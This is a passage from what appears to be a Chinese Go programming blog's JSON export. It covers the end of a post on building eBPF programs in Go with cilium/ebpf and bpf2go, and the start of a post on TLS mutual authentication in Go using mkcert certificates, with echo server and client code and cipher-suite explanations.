World! \u0026lt;...\u0026gt;-554756 [007] .... 6063476.785212: 0: invoke bpf_prog: Hello, World! \u0026lt;...\u0026gt;-554756 [007] .... 6063476.785378: 0: invoke bpf_prog: Hello, World! 3. 使用go generate来驱动bpf2go的转换 在生成代码方面，Go工具链原生提供了go generate工具，cilium/ebpf的examples中也是利用go generate来驱动bpf2go将bpf程序转换为Go源文件的，这里我们也来做一下改造。\n首先我们在main.go的main函数上面增加一行go:generate指示语句：\n// github.com/bigwhite/experiments/ebpf-examples/helloworld-go/main.go // $BPF_CLANG, $BPF_CFLAGS and $BPF_HEADERS are set by the Makefile. //go:generate bpf2go -cc $BPF_CLANG -cflags $BPF_CFLAGS -target bpfel,bpfeb bpf helloworld.bpf.c -- -I $BPF_HEADERS func main() { stopper := make(chan os.Signal, 1) ... ... } 这样当我们显式执行go generate语句时，go generate会扫描到该指示语句，并执行后面的命令。这里使用了几个变量，变量是定义在Makefile中的。当然如果你不想使用Makefile，也可以将变量替换为相应的值。这里我们使用Makefile，下面是Makefile的内容：\n// github.com/bigwhite/experiments/ebpf-examples/helloworld-go/Makefile CLANG ?= clang-10 CFLAGS ?= -O2 -g -Wall -Werror LIBEBPF_TOP = /home/tonybai/go/src/github.com/cilium/ebpf EXAMPLES_HEADERS = $(LIBEBPF_TOP)/examples/headers all: generate generate: export BPF_CLANG=$(CLANG) generate: export BPF_CFLAGS=$(CFLAGS) generate: export BPF_HEADERS=$(EXAMPLES_HEADERS) generate: go generate ./... 有了该Makefile后，我们执行make命令便可以执行bpf2go对bpf程序的转换：\n$make go generate ./... Compiled /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.o Stripped /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.o Wrote /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.go Compiled /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.o Stripped /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.o Wrote /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.go 四. 小结 本文我们讲解了如何基于cilium/ebpf包来开发ebpf的用户态部分。\nebpf借鉴了libbpf的思路，通过生成代码与数据内嵌的方式来构建ebpf的用户态部分。\nebpf提供了bpf2go工具，可以将bpf的C源码转换为相应的go源码。\nebpf将bpf程序抽象为bpfObjects，通过生成的loadBpfObjects完成bpf程序加载到内核的过程，然后利用ebpf库提供的诸如link之类的包实现ebpf与内核事件的关联。\nebpf包的玩法还有很多，这一篇仅仅是为了打好基础，在后续文章中，我们还会针对各种类型的bpf程序做进一步学习和说明。\n本文代码可以在这里下载。\n无. 参考资料 使用Go语言管理和分发ebpf程序 – https://www.ebpf.top/post/ebpf_go/ A Pure Go eBPF library – https://lpc.events/event/4/contributions/449/attachments/239/529/A_pure_Go_eBPF_library.pdf cilium ebpf library architecture – https://github.com/cilium/ebpf/blob/master/ARCHITECTURE.md “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/07/19/develop-ebpf-program-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/develop-ebpf-program-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/07/19/develop-ebpf-program-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/07/19/develop-ebpf-program-in-go\"\u003ehttps://tonybai.com/2022/07/19/develop-ebpf-program-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在前面的\u003ca href=\"https://tonybai.com/2022/07/05/develop-hello-world-ebpf-program-in-c-from-scratch\"\u003e《使用C语言从头开发一个Hello World级别的eBPF程序》\u003c/a\u003e一文中，我们详细说明了如何基于C语言和libbpf库从头开发一个eBPF程序(包括其用户态部分)。那篇文章是后续有关eBPF程序开发文章的基础，因为到目前为止，无论eBPF程序的用户态部分用什么语言开发，运行于内核态的eBPF程序内核态部分还是必须由C语言开发的。这样一来，其他编程语言只能拼一下如何让eBPF程序的用户态部分的开发更为简单了，Go语言也不例外。\u003c/p\u003e","title":"使用Go语言开发eBPF程序"},{"content":"\n本文永久链接 – https://tonybai.com/2022/07/17/two-way-authentication-using-go-and-sm-algorithm\n国内做2B(to Biz)或2G(to Gov)产品和解决方案的企业都绕不过国密算法，越来越多的国内甲方在采购需求中包含了基于国密算法的认证、签名、加密等需求。对于国内的车联网平台来说，支持基于国密的双向认证也是大势所趋。在这篇文章中，我就来说说如何基于国密算法实现双向认证，即使用国密算法的安全传输层双向认证。\n一. 简要回顾基于TLS的双向认证 在《Go语言精进之路》第2册的第51条中，我详细介绍了TLS的建连握手与双向认证过程，并对非对称加密与公钥证书的原理做了系统全面的讲解。为了让大家更好地理解后面的内容，这里简单回顾一下基于TLS的双向认证。\nTLS，全称Transport Layer Security，即安全传输层。其前身为SSL（Secure Socket Layer）。TLS是建构在TCP传输层之上和应用层之下的、为应用层提供端到端安全连接和传输服务的虚拟协议层。\n应用层基于TLS的通信都是加密的(如上图所示)，保证了传输数据的安全，即便被窃听，攻击者也无法拿到明文数据(密钥够长，加密算法强度够强的前提下)。对于应用开发者而言，重点在于TLS连接的建立过程，连接一旦建立，后续的加解密传输过程就很容易了。\nTLS连接的建立过程称为TLS握手(handshake)，握手的过程见下图(适用于TLS 1.2)：\n上图引自《Go语言精进之路》第2册的图51-5\n关于握手的各个步骤的详细说明，大家可以参考《Go语言精进之路》第2册的第51条中的内容，这里不赘述。\n从图中我们可以看到：TLS连接的建立过程需要数字证书的参与，而数字证书主要用于对通信双方的身份进行验证以及参与双方会话密钥的协商与生成。一般情况下，客户端会校验服务端的公钥证书，服务端不会校验客户端公钥证书。但在一些安全级别较高的系统中，服务端也会要求校验客户端的公钥证书(TLS握手阶段，服务端向客户端发送CertificateRequest请求)。\n下面我们就来看一个基于TLS的双向认证的实例。\n二. 基于TLS双向认证的示例 我们先来看看示例开发与执行的环境并创建相关的数字证书。\n1. 环境与数字证书 我们在Ubuntu 20.04.3 LTS环境使用Go 1.18版本开发和执行该示例。示例是一个echo server，即将client端发来的数据重新发回client端，下面是示意图：\n开发基于TLS的应用离不开数字证书，因此在开发程序之前，我们先来生成server与client所用的各类公钥数字证书。\n在开发和测试环境，我们可以使用自签发的公钥数字证书。我们可以先生成自用的CA私钥与证书，然后利用该CA签发我们所需的服务端和客户端的公钥证书。制作证书最著名的工具是openssl，不过openssh使用起来较为复杂，这些年一些开发者体验更好的工具也逐渐成熟，比如由Go项目前安全负责人Filippo Valsorda开源的mkcert就是一个不错的工具，本文就使用这个工具建立CA并签发制作各类证书。\n我们先来安装mkcert工具：\n$go install filippo.io/mkcert@latest go: downloading filippo.io/mkcert v1.4.4 go: downloading golang.org/x/net v0.0.0-20220421235706-1d1ef9303861 go: downloading software.sslmate.com/src/go-pkcs12 v0.2.0 go: downloading golang.org/x/crypto v0.0.0-20220331220935-ae2d96664a29 接下来，生成并安装local CA根证书：\n$mkcert -install Created a new local CA: The local CA is now installed in the system trust store! 从mkcert的输出来看，CA私钥和证书被安装到所谓system trust store中。这个system trust store在不同平台上的位置不同。在linux上有如下几个位置：\n// github.com/FiloSottile/mkcert/truststore_linux.go func init() { switch { case binaryExists(\u0026quot;apt\u0026quot;): CertutilInstallHelp = \u0026quot;apt install libnss3-tools\u0026quot; case binaryExists(\u0026quot;yum\u0026quot;): CertutilInstallHelp = \u0026quot;yum install nss-tools\u0026quot; case binaryExists(\u0026quot;zypper\u0026quot;): CertutilInstallHelp = \u0026quot;zypper install mozilla-nss-tools\u0026quot; } if pathExists(\u0026quot;/etc/pki/ca-trust/source/anchors/\u0026quot;) { SystemTrustFilename = \u0026quot;/etc/pki/ca-trust/source/anchors/%s.pem\u0026quot; SystemTrustCommand = []string{\u0026quot;update-ca-trust\u0026quot;, \u0026quot;extract\u0026quot;} } else if pathExists(\u0026quot;/usr/local/share/ca-certificates/\u0026quot;) { SystemTrustFilename = \u0026quot;/usr/local/share/ca-certificates/%s.crt\u0026quot; SystemTrustCommand = []string{\u0026quot;update-ca-certificates\u0026quot;} } else if pathExists(\u0026quot;/etc/ca-certificates/trust-source/anchors/\u0026quot;) { SystemTrustFilename = \u0026quot;/etc/ca-certificates/trust-source/anchors/%s.crt\u0026quot; SystemTrustCommand = []string{\u0026quot;trust\u0026quot;, \u0026quot;extract-compat\u0026quot;} } else if pathExists(\u0026quot;/usr/share/pki/trust/anchors\u0026quot;) { SystemTrustFilename = \u0026quot;/usr/share/pki/trust/anchors/%s.pem\u0026quot; SystemTrustCommand = []string{\u0026quot;update-ca-certificates\u0026quot;} } } 在我的ubuntu 20.04环境中，CA的公钥证书被**安装(install)**在/usr/local/share/ca-certificates下面了：\n$ls -l /usr/local/share/ca-certificates/ total 4 -rw-r--r-- 1 root root 1631 Jul 3 16:22 mkcert_development_CA_333807542491031300702675758897110223851.crt 生成的CA私钥在哪里呢？我们可以通过-CAROOT参数获得该位置：\n$mkcert -CAROOT /home/tonybai/.local/share/mkcert $ls -l /home/tonybai/.local/share/mkcert total 8 -r-------- 1 tonybai tonybai 2484 Jul 3 16:22 rootCA-key.pem -rw-r--r-- 1 tonybai tonybai 1631 Jul 3 16:22 rootCA.pem 这里的rootCA.pem与系统信任区中的mkcert_development_CA_333807542491031300702675758897110223851.crt与rootCA.pem内容是一样的。后者是mkcert将rootCA.pem安装到系统可信store后的结果。通过mkcert -uninstall可以删除/usr/local/share/ca-certificates下面的CA公钥证书。但/home/tonybai/.local/share/mkcert下的CA私钥与证书不会被删除。后续若再执行mkcert install，CA证书不会重新生成，现有的rootCA.pem还会被install到/usr/local/share/ca-certificates下面。\n接下来我们分别server端和client端的私钥与证书。\nserver端key和cert：\n$mkcert -key-file key.pem -cert-file cert.pem example.com Created a new certificate valid for the following names - \u0026quot;example.com\u0026quot; The certificate is at \u0026quot;cert.pem\u0026quot; and the key at \u0026quot;key.pem\u0026quot; It will expire on 3 October 2024 我们可以通过下面命令查看证书内容：\n$openssl x509 -in cert.pem -noout -text Certificate: Data: Version: 3 (0x2) Serial Number: fc:cc:96:17:55:2d:70:e8:67:3e:b2:25:a9:b8:a3:80 Signature Algorithm: sha256WithRSAEncryption Issuer: O = mkcert development CA, OU = tonybai@tonybai, CN = mkcert tonybai@tonybai Validity Not Before: Jul 7 09:05:09 2022 GMT Not After : Oct 7 09:05:09 2024 GMT Subject: O = mkcert development certificate, OU = tonybai@tonybai Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:a6:d1:00:f7:da:03:d0:06:17:cb:ee:b4:99:30: 20:66:d0:78:b0:94:67:0b:7a:37:d2:76:21:71:9a: 7a:17:d6:44:0a:7b:f1:24:71:2f:ed:b5:67:66:a1: 1f:b0:e6:3b:18:66:de:f4:83:78:9a:bc:f5:ae:88: 23:a1:f9:7d:7c:3e:7f:a8:f9:9f:54:d0:68:48:b9: d0:56:10:a0:84:0b:cf:a8:bc:b8:74:3f:3c:27:db: ff:28:1d:63:e8:79:a6:93:44:a8:14:43:53:bf:e8: ca:ee:bf:4c:63:f7:23:51:e6:a2:8d:0b:9a:7d:95: 2e:bc:37:ae:6d:ea:9e:0e:e6:e0:c5:8e:07:0c:d4: 9b:50:30:de:31:c9:97:ee:ac:7e:33:ab:0d:6f:87: f3:70:2b:22:26:8d:a8:95:8e:1f:0e:b7:61:71:e8: 36:06:a7:f4:d8:d2:f6:89:12:26:fd:7e:6b:19:a2: 2a:4c:d7:cb:7e:09:fc:65:86:be:b6:c2:0b:fb:b5: d8:63:07:aa:ba:59:ab:fc:34:0d:4a:d1:93:dd:62: b0:3a:cd:e1:21:79:13:e4:f4:45:00:f7:10:a1:bc: c7:51:38:84:c4:75:22:5e:5f:a9:11:07:34:16:9f: ad:c7:94:af:57:30:17:77:49:14:6e:16:ff:d8:00: 78:11 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Extended Key Usage: TLS Web Server Authentication X509v3 Authority Key Identifier: keyid:A8:C4:06:2D:2C:25:71:EC:08:C8:1A:92:9A:F2:52:87:22:6E:85:2D X509v3 Subject Alternative Name: DNS:example.com Signature Algorithm: sha256WithRSAEncryption be:6e:90:60:bd:43:b9:3a:09:14:c2:44:22:88:a6:af:e5:22: d3:97:19:64:8b:59:5d:60:33:36:01:a1:4e:01:eb:7e:5c:6a: 48:c4:04:a6:0a:e4:91:95:db:5a:2c:c8:e9:93:fa:37:34:6d: 81:d1:96:ed:5b:67:ae:27:e3:d3:ea:ee:5c:74:0f:6e:f1:48: 72:d2:75:85:a1:70:0f:a0:9a:73:7a:ca:b8:7b:92:46:27:73: e5:f8:ec:72:f8:fc:ac:5f:22:68:0c:d6:8c:20:5b:93:e1:52: 17:79:57:71:33:5b:98:05:11:8a:cb:d4:3c:b2:24:4b:7b:c5: 32:8f:ae:1f:a5:af:9d:3a:9b:bb:fc:46:8a:d6:48:39:86:de: f3:f7:54:03:45:8d:bd:40:91:26:d2:29:0a:c4:91:cf:b2:5c: 41:d5:66:24:02:6d:60:22:ea:78:0d:b0:66:80:b9:5d:03:27: 09:c7:aa:61:1b:ee:e4:08:21:7e:be:bb:13:8a:fb:d8:9e:24: 5f:5b:a2:4a:d5:db:be:a2:84:74:03:fb:04:37:d0:b3:c4:b7: 4e:3e:31:a7:2d:5d:62:bd:aa:68:3c:84:d9:32:cb:f2:93:7a: 3a:8a:2b:c3:81:76:f0:b5:f5:3c:d4:69:8d:5e:f8:39:74:88: 2b:56:7f:2b:4c:f9:39:2a:f2:4d:15:75:a1:f3:62:ee:57:ce: f7:33:c7:cc:a6:97:25:f0:66:bf:5d:5b:c2:d7:d3:ee:20:be: c3:5f:fb:9a:50:59:b8:e7:ea:d2:4c:35:9d:48:3f:93:63:96: 3c:52:dd:b8:d6:ba:1f:30:18:2e:c4:3d:3a:03:66:e1:a3:48: 6e:a0:5d:b0:0b:65:d4:40:9e:da:5c:36:b1:ac:6b:9e:1f:01: 69:8a:92:63:7d:27:79:42:bd:d4:f5:e2:d3:bf:8e:97:2f:57: ae:0b:f8:c1:b1:35:47:d0:4e:77:b0:e7:88:69:4b:44:dc:01: 6e:6e:4d:87:e2:71 接下来，我们再生成client端的key和cert。client端的cert专门用来提供给server端进行证书验证的，我们需要向mkcert传入-client选项生成client端证书：\n$mkcert -client -key-file client-key.pem -cert-file client-cert.pem client1 Created a new certificate valid for the following names - \u0026quot;client1\u0026quot; The certificate is at \u0026quot;client-cert.pem\u0026quot; and the key at \u0026quot;client-key.pem\u0026quot; It will expire on 3 October 2024 同样，我们可以通过下面命令查看客户端证书的内容：\n$openssl x509 -in client-cert.pem -noout -text Certificate: Data: Version: 3 (0x2) Serial Number: 62:59:40:5c:e7:5a:61:74:73:bf:08:b0:d9:a7:d4:a1 Signature Algorithm: sha256WithRSAEncryption Issuer: O = mkcert development CA, OU = tonybai@tonybai, CN = mkcert tonybai@tonybai Validity Not Before: Jul 7 09:11:27 2022 GMT Not After : Oct 7 09:11:27 2024 GMT Subject: O = mkcert development certificate, OU = tonybai@tonybai Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:e5:25:c6:a1:c9:e2:5f:64:72:bd:ed:fc:24:fa: 12:8d:9c:30:52:8d:d8:5a:e7:f4:0c:b5:d5:0a:ef: 06:26:e3:06:54:54:cc:72:77:4e:22:cd:22:04:c0: 08:2e:94:2d:0f:cc:e8:9f:b9:c5:f4:13:8e:d1:f4: bb:64:9d:1a:74:1b:e3:8c:95:2c:18:44:ec:e7:2c: ec:0c:19:0f:e1:e6:1a:22:e7:3e:a6:1b:35:6e:05: 5f:c3:04:3f:1a:0f:c4:55:6f:ff:15:a0:a0:de:44: 5c:2d:3d:0b:dc:8a:01:ca:d2:2a:71:9d:b7:3a:d2: 10:9f:79:76:e0:a7:14:aa:d8:f0:90:bd:7c:4d:2d: 45:e6:16:ab:1d:03:7f:d8:97:4f:4d:41:13:76:72: 35:f2:41:b7:f1:3b:a8:42:d4:79:39:fd:f6:8d:10: d1:54:06:60:6a:79:04:6c:6f:05:37:9c:4e:e7:ba: 9d:87:e8:05:65:9a:22:56:91:cb:03:bd:89:42:16: 66:92:bf:df:50:27:f2:81:89:c0:c5:46:f7:01:e8: 80:d0:4d:2e:ae:7f:5a:e9:fa:69:f3:50:c4:58:48: dc:b5:20:13:01:3a:ac:fd:a8:69:2d:20:a9:55:cc: 90:4a:f1:f7:3f:9e:3b:7a:cb:77:c7:d2:c4:2b:4f: 4c:09 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Extended Key Usage: TLS Web Client Authentication, TLS Web Server Authentication X509v3 Authority Key Identifier: keyid:A8:C4:06:2D:2C:25:71:EC:08:C8:1A:92:9A:F2:52:87:22:6E:85:2D X509v3 Subject Alternative Name: DNS:client1 Signature Algorithm: sha256WithRSAEncryption a6:68:a8:b3:cf:8c:8c:f6:03:56:68:e4:d3:02:cd:ec:8d:fa: 7f:73:56:c2:91:fa:d8:65:82:a7:f5:d9:8b:32:2a:3b:f9:59: 71:0c:f8:d3:b6:d3:b3:11:99:f6:f6:d1:ab:d9:1e:fc:bd:f5: 71:d9:35:4e:0e:fb:f2:f9:65:12:f2:1d:26:77:7d:eb:2c:52: 80:2c:05:64:0f:99:35:83:31:b0:eb:71:85:04:48:d6:f6:29: 92:81:f5:22:ee:77:8b:3d:e8:66:6a:5f:59:69:73:15:bb:69: 46:e9:df:8c:7c:1d:28:b5:71:ed:2e:ca:8e:d3:08:da:85:b4: 6c:26:89:85:16:c3:9a:e4:45:ef:3d:16:a2:32:45:70:e5:7e: 82:e1:55:32:e7:1a:63:6b:56:8f:11:70:53:6f:71:d8:e0:76: bc:af:bd:dc:53:d6:fb:f0:b6:29:5f:3b:3f:dd:5c:58:b4:f0: d2:bb:63:d6:7f:b6:5f:29:ac:43:fa:56:f6:38:a4:03:6e:f3: b6:0d:e3:94:4c:0e:de:28:0c:63:27:94:5c:c8:15:78:c1:3b: a3:9f:f3:7f:d8:79:c1:ee:23:da:42:ef:25:40:a1:b9:e4:54: c4:d0:6b:81:b8:c1:b6:78:aa:d9:25:31:25:fe:5c:a8:d4:46: 61:38:2e:6e:ba:34:b6:21:cb:66:47:9e:4f:ca:e2:6a:6a:06: 60:d4:cb:fd:e6:a2:d5:d3:44:40:f1:f9:a9:0d:38:47:a4:20: 1a:59:4f:14:ab:ab:e9:20:53:91:1b:0e:57:7b:2e:72:d6:1c: 73:37:d3:17:f6:65:75:ef:27:19:ee:32:2d:ac:ca:46:c4:aa: ea:60:d8:6c:fa:62:ad:d4:34:f5:f9:57:48:8f:c0:b3:30:0e: 13:ec:69:7b:52:97:d6:f5:fa:16:bb:38:c6:03:2f:1a:21:6e: bb:69:2a:74:dc:3c:71:3e:af:91:dd:28:86:ca:c8:3b:58:29: 07:3b:5c:67:3d:31 我们看到：client-cert.pem与cert.pem在“X509v3 Extended Key Usage”一项有差别，client-pert.pem除了包含TLS Web Server Authentication，还增加了TLS Web Client Authentication。\n2. echoserver与echoclient Go标准库提供了tls的基本实现，支持tls1.2和1.3版本。下面是echoserver的主要源码：\n// github.com/bigwhite/experiments/gmssl-examples/tls/server/server.go func main() { cert, err := tls.LoadX509KeyPair(\u0026quot;./certs/cert.pem\u0026quot;, \u0026quot;./certs/key.pem\u0026quot;) if err != nil { fmt.Println(\u0026quot;load x509 keypair error:\u0026quot;, err) return } cfg := \u0026amp;tls.Config{ Certificates: []tls.Certificate{cert}, ClientAuth: tls.RequireAndVerifyClientCert, } listener, err := tls.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:18000\u0026quot;, cfg) if err != nil { fmt.Println(\u0026quot;listen error:\u0026quot;, err) return } for { conn, err := listener.Accept() if err != nil { fmt.Println(\u0026quot;accept error:\u0026quot;, err) return } fmt.Println(\u0026quot;accept connection:\u0026quot;, conn.RemoteAddr()) go func() { for { // echo \u0026quot;request\u0026quot; var b = make([]byte, 16) _, err := conn.Read(b) if err != nil { fmt.Println(\u0026quot;connection read error:\u0026quot;, err) conn.Close() return } fmt.Println(string(b)) _, err = conn.Write(b) if err != nil { fmt.Println(\u0026quot;connection write error:\u0026quot;, err) return } } }() } } 我们看到基于tls的echoserver与一个普通的tcp server的代码差别不多，最主要就是在创建listener时传入了一个tls.Config结构，这个结构中有tls握手(handshake)所需要的全部信息，包括server端使用的私钥与证书(通过LoadX509KeyPair加载)以及对client端进行证书校验的标志(ClientAuth: tls.RequireAndVerifyClientCert)。一旦连接建立，握手成功，后续的数据读写都和基于tcp连接的普通服务端程序无异。\n下面是echoclient的主要源码：\n// github.com/bigwhite/experiments/gmssl-examples/tls/client/client.go func main() { cert, err := tls.LoadX509KeyPair(\u0026quot;./certs/client-cert.pem\u0026quot;, \u0026quot;./certs/client-key.pem\u0026quot;) if err != nil { fmt.Println(\u0026quot;load x509 keypair error:\u0026quot;, err) return } conn, err := tls.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;example.com:18000\u0026quot;, \u0026amp;tls.Config{ Certificates: []tls.Certificate{cert}, }) if err != nil { fmt.Println(\u0026quot;failed to connect: \u0026quot; + err.Error()) return } defer conn.Close() fmt.Println(\u0026quot;connect ok\u0026quot;) for i := 0; i \u0026lt; 100; i++ { _, err := conn.Write([]byte(\u0026quot;hello, gm\u0026quot;)) if err != nil { fmt.Println(\u0026quot;conn write error:\u0026quot;, err) return } var b = make([]byte, 16) _, err = conn.Read(b) if err != nil { fmt.Println(\u0026quot;conn read error:\u0026quot;, err) return } fmt.Println(string(b)) time.Sleep(time.Second) } } client端的代码更为简单一些，只需load client端使用的私钥与证书，然后传给tls.Config实例。tls.Dial使用该Config实例便可以顺利连接echoserver。\n3. 用于验证对方证书的CA证书 在上面两个程序中都没有提到CA证书，那么server端和client端用什么去验证对方的公钥证书呢？其实依旧是用mkcert创建的CA证书去验证，只不过由于mkcert将CA证书安装到了操作系统trust store路径中，程序可以在系统CA证书中自动找到用来验证client和server两端公钥证书的CA证书，因此无需在程序中显式加载特定CA证书。\n如果我们执行mkcert -uninstall，那么client程序在与server作tls handshake时就会报如下错误：\n// client程序的输出日志： failed to connect: x509: certificate signed by unknown authority // server程序的输出日志： accept connection: 127.0.0.1:56734 connection read error: remote error: tls: bad certificate 三. 密码算法在TLS握手以及后续通信过程中的作用 在TLS握手阶段，密码算法起到了关键作用。那在握手的每个阶段都在使用什么算法呢？我们看看下面使用curl命令访问https站点的输出：\n$curl -v https://baidu.com * Trying 220.181.38.148:443... * TCP_NODELAY set * Connected to baidu.com (220.181.38.148) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/certs/ca-certificates.crt CApath: /etc/ssl/certs * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 ... ... 在这段内容中，我们看到这样一行输出：\nSSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 这行后面的ECDHE-RSA-AES128-GCM-SHA256就是在握手过程中以及后续通信阶段会使用到的算法。这样的一串称为密码套件(cipher suite)，在SSL协议时代被称为cipher kinds。\n密码套件一般由多个用途不同的密码算法名称组合而成(套件中的算法都是要配合使用的，单独使用没法保证信息安全传输)。下面是openssl-1.1.1f支持的密码套件列表：\n$openssl ciphers -V | column -t 0x13,0x02 - TLS_AES_256_GCM_SHA384 TLSv1.3 Kx=any Au=any Enc=AESGCM(256) Mac=AEAD 0x13,0x03 - TLS_CHACHA20_POLY1305_SHA256 TLSv1.3 Kx=any Au=any Enc=CHACHA20/POLY1305(256) Mac=AEAD 0x13,0x01 - TLS_AES_128_GCM_SHA256 TLSv1.3 Kx=any Au=any Enc=AESGCM(128) Mac=AEAD 0xC0,0x2C - ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(256) Mac=AEAD 0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD 0x00,0x9F - DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(256) Mac=AEAD 0xCC,0xA9 - ECDHE-ECDSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH Au=ECDSA Enc=CHACHA20/POLY1305(256) Mac=AEAD 0xCC,0xA8 - ECDHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD 0xCC,0xAA - DHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=DH Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD 0xC0,0x2B - ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(128) Mac=AEAD 0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(128) Mac=AEAD 0x00,0x9E - DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(128) Mac=AEAD 0xC0,0x24 - ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AES(256) Mac=SHA384 ... ... 我们看看上面输出的后四列的含义：\n第四列（Kx） Kx代表key exchange，这一列是密钥交换算法，常见的密钥交换算法包括DH(Diffie-Hellman)、DHE(Diffie-Hellman Ephemeral)、ECDHE(在DHE算法的基础上利用了ECC椭圆曲线特性)等。在tls握手阶段，密钥交换算法用于在不安全的通道上协商会话加密(对称加密)算法密钥。\n第五列（Au) Au代表authentication，这一列是身份认证算法，通常是非对称加密算法，比如：RSA、ECDSA等。该算法用于服务端与客户端相互验证对方的公钥数字证书时。\n第六列（Enc） Enc代表对称加密算法，比如：AES、CHACHA20等，对称加密算法在tls握手后用于对客户端与服务端交互的数据进行加解密，它的加解密性能要比非对称加密算法快上很多。\n第七列（Mac） Mac代表Message Authentication Code，消息认证码算法，本质上是一个hash函数，用于计算数据的摘要值，是常用的用于保证消息数据完整性的工具。常见的算法有SHA1、SHA256等。\n有了这些知识，我们再回到前面的ECDHE-RSA-AES128-GCM-SHA256，我们可以知道这个密码套件使用ECDHE作为密钥交换算法，使用RSA作为服务器认证算法（非对称加密），使用AES128-GCM作为对称加密算法，使用SHA256作为消息认证码算法。\n注：TLS 1.3版本的握手过程已经修改，仅需对称加密和Mac算法参与，因此TLS 1.3的密码套件格式已经变化。在TLS 1.3中，密码套件仅用于协商对称加密和MAC算法。对应的，我们看到上面OpenSSL输出的TLSv1.3版本的密码套件(如TLS_AES_256_GCM_SHA384、TLS_CHACHA20_POLY1305_SHA256等)的Kx和Au都是any。换句话说：TLSv1.2和TLSv1.3版本的密码套件并不兼容，不能混用(TLS v1.3的密码套件不能用在TLS v1.2版本中，反之亦然)。\nGo标准库(Go 1.18.3)内置支持的cipher suite如下：\n// $GOROOT/src/crypto/tls/cipher_suites.go func CipherSuites() []*CipherSuite { return []*CipherSuite{ {TLS_RSA_WITH_AES_128_CBC_SHA, \u0026quot;TLS_RSA_WITH_AES_128_CBC_SHA\u0026quot;, supportedUpToTLS12, false}, {TLS_RSA_WITH_AES_256_CBC_SHA, \u0026quot;TLS_RSA_WITH_AES_256_CBC_SHA\u0026quot;, supportedUpToTLS12, false}, {TLS_RSA_WITH_AES_128_GCM_SHA256, \u0026quot;TLS_RSA_WITH_AES_128_GCM_SHA256\u0026quot;, supportedOnlyTLS12, false}, {TLS_RSA_WITH_AES_256_GCM_SHA384, \u0026quot;TLS_RSA_WITH_AES_256_GCM_SHA384\u0026quot;, 